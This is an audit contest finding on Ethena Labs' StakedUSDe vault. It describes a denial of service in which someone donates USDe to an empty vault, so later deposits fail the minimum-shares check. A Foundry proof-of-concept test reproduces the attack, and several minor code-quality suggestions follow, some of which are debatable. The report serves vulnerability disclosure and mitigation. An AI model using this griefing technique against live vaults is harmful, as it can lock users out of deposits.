Ethena Labs - twcctop's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/de36fe47c5d2c47e739b8e07fc69bd24f28e5762/contracts/StakedUSDe.sol#L191-L194

Vulnerability details

Impact

Transfer usde to an empty vault may brick valut because of the high value of _checkMinShares after transfer. Due to the calculation logic of _checkMinShares, a malicious user can send usde to an empty vault and increase the amount of _checkMinShares

Proof of Concept

_checkMinShares is used to check min share user mint.It it designed to prevent inflation attack (https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks) .

The issue is , when malicious user transfer some usde token to empty StakedUSDe vault. The MIN_SHARES become very hard to reach,it may brick the vault. poc: add in StakedUSDeTest

  // forge test --mt test_tt_stake_transfer_dos -vv
  function test_tt_stake_transfer_dos() public {
    uint256 amount = 10000 ether;
    usdeToken.mint(alice, amount);
    usdeToken.mint(bob,1 ether);

    //bob send token to increase  totalAssets() in stakedUSDe ，this will dos the funtion `deposit`
    vm.startPrank(bob);
    usdeToken.transfer(address(stakedUSDe),1 ether);
    vm.stopPrank();

    vm.startPrank(alice);
    usdeToken.approve(address(stakedUSDe), amount);

    //MinSharesViolation
    vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
    stakedUSDe.deposit(amount, alice);
    vm.stopPrank();

  }

In this poc I use 10000 ether for example ,actually it's a very large number, and it's big enough to prove the concept.

Tools Used

foundry

Recommended Mitigation Steps

A new method to prevent inflation attack in needed,refer to https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks

Assessed type

ERC4626

QA0:

verifyRoute should revert if ordertype differ , because if orderType is not correct the verify logic will bypass

function verifyRoute(Route calldata route, OrderType orderType) public view override returns (bool) {
    // routes only used to mint
    if (orderType == OrderType.REDEEM) {
-       return true;
+       revert();   
    }
...

QA1: in function transferInRewards , getUnvestedAmount() is always zero, no need to add again.

  function transferInRewards(uint256 amount) external nonReentrant onlyRole(REWARDER_ROLE) notZero(amount) {
    if (getUnvestedAmount() > 0) revert StillVesting();

  -  uint256 newVestingAmount = amount + getUnvestedAmount();
  + uint256 newVestingAmount = amount;
    vestingAmount = newVestingAmount;
    lastDistributionTimestamp = block.timestamp;
    // transfer assets from rewarder to this contract
    IERC20(asset()).safeTransferFrom(msg.sender, address(this), amount);

    emit RewardsReceived(amount, newVestingAmount);
  }

QA2：

StakedUSDeV2 # setCooldownDuration should Check new duration differ from old one

 function setCooldownDuration(uint24 duration) external onlyRole(DEFAULT_ADMIN_ROLE) {
    if (duration > MAX_COOLDOWN_DURATION) {
      revert InvalidCooldown();
    }
    uint24 previousDuration = cooldownDuration;
    cooldownDuration = duration;
    emit CooldownDurationUpdated(previousDuration, cooldownDuration);
  }

QA3：

EthenaMinting # hashOrder better have chain id.

 function hashOrder(Order calldata order) public view override returns (bytes32) {
    return ECDSA.toTypedDataHash(getDomainSeparator(), keccak256(encodeOrder(order)));
  }